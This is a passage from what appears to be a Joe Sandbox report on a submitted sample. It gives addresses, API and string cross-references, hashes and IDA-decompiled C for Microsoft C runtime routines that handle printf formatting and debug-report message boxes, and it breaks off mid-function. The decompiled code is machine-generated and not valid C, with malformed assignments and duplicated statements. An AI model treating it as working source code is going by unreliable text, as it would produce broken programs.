0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c529
0x0043c530
0x00000000
0x00000000
0x0043c532
0x0043c532
0x00000000
0x0043c532
0x0043bde2
0x0043bde2
0x0043bde7
0x0043be03
0x0043be0b
0x0043be15
0x0043be18
0x0043be1d
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043be2d
0x0043be33
0x0043be53
0x0043be35
0x0043be42
0x0043be42
0x0043be55
0x00000000
0x0043be55

APIs

_get_int_arg.LIBCMTD ref: 0043BD6E
__get_printf_count_output.LIBCMTD ref: 0043BD7C
__invalid_parameter.LIBCMTD ref: 0043BE03
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043BE18
_write_multi_char.LIBCMTD ref: 0043C3AB
_write_string.LIBCMTD ref: 0043C3C6
_write_multi_char.LIBCMTD ref: 0043C3F2
__mbtowc_l.LIBCMTD ref: 0043C461

Strings

("Incorrect format specifier", 0), xrefs: 0043B76A, 0043B7B0
("'n' format specifier disabled", 0), xrefs: 0043BDB8, 0043BDFE
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B776, 0043B7A6, 0043BDC4, 0043BDF4
_woutput_s_l, xrefs: 0043B7AB, 0043BDF9

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: 23efc841633733aab2a1b4e97efc35d1b22922ea563b4b65f0f714c3b7737a7c
Instruction ID: 53d39dcb5d7c9533ae0d307e811725d0c245e728d2151079857a669357120ce1
Opcode Fuzzy Hash: 23efc841633733aab2a1b4e97efc35d1b22922ea563b4b65f0f714c3b7737a7c
Instruction Fuzzy Hash: ECA180F5D002299BDB24DB55CC85BEEB370EB88305F10509AE61A7B282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00429647, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429647() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x4040d6;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BA70(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)(0x405210 +  *(_t64 + 8) * 4)));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422AF0(_t53));
					E0041D6D0( *(L00422AF0(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422AF0(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041DC40(E0041D7C0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435520(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D1D0(0x16);
					E00425CE0(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BAA0(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429647
0x00429661
0x0042966f
0x00429663
0x00429663
0x00429663
0x0042967f
0x00429686
0x0042968d
0x00429694
0x0042969b
0x004296a2
0x004296a9
0x004296b0
0x004296b7
0x004296be
0x004296c5
0x004296c9
0x004296ca
0x004296e4
0x004296eb
0x004296f0
0x004296f3
0x004296fa
0x0042971b
0x0042971e
0x00429723
0x00429723
0x00429726
0x0042972b
0x00429731
0x00429737
0x00429759
0x00429769
0x0042976e
0x0042976e
0x0042978a
0x00429797
0x0042979b
0x004297a5
0x004297a5
0x004297b1
0x004297ba
0x004297b3
0x004297b3
0x004297b3
0x004297c9

APIs

__snwprintf_s.LIBCMTD ref: 004296EB
__invoke_watson_if_oneof.LIBCMTD ref: 0042971E
_wcscpy_s.LIBCMTD ref: 00429760
__invoke_watson_if_error.LIBCMTD ref: 00429769
___crtMessageBoxW.LIBCMTD ref: 00429782
_raise.LIBCMTD ref: 0042979B

Strings

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042974A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00429703, 00429740
Module: , xrefs: 00429663
Microsoft Visual C++ Debug Library, xrefs: 00429776
_CrtDbgReport: String too long or IO Error, xrefs: 0042974F
..., xrefs: 00429647, 004296BE
(*_errno()), xrefs: 0042970D
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 004296D5
__crtMessageWindowA, xrefs: 00429708, 00429745

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: e6e3b000dd956f64145f8a95b7ab3133d4efe831eb3f4aeb946c28cdc4589d12
Instruction ID: f3101a3e287eee38cff1e677591a364fbe27f988d3ea5e752de8de45b87c0492
Opcode Fuzzy Hash: e6e3b000dd956f64145f8a95b7ab3133d4efe831eb3f4aeb946c28cdc4589d12
Instruction Fuzzy Hash: 6C318674B40228ABCB24DA55DC46FDA73B5AB48744F4040EEF309762C5D6B85EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 00434915, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434915(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E00428150(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E00428080(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E004280C0( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E00428080(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E004280C0( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00434010(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E004280C0( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E00428080(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C1C0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435350))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E00431000( *(_t623 - 0x251) & 0x000000ff, E0041AAD0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00427FE0( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00427FE0( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E000();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422AF0(_t571))) = 0x16;
													E00422880(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041AAA0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435388; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435370))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x4353b0; // 0x4bbe9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043539C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x43541c; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004353E0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AAD0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0x2c9cf96e
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
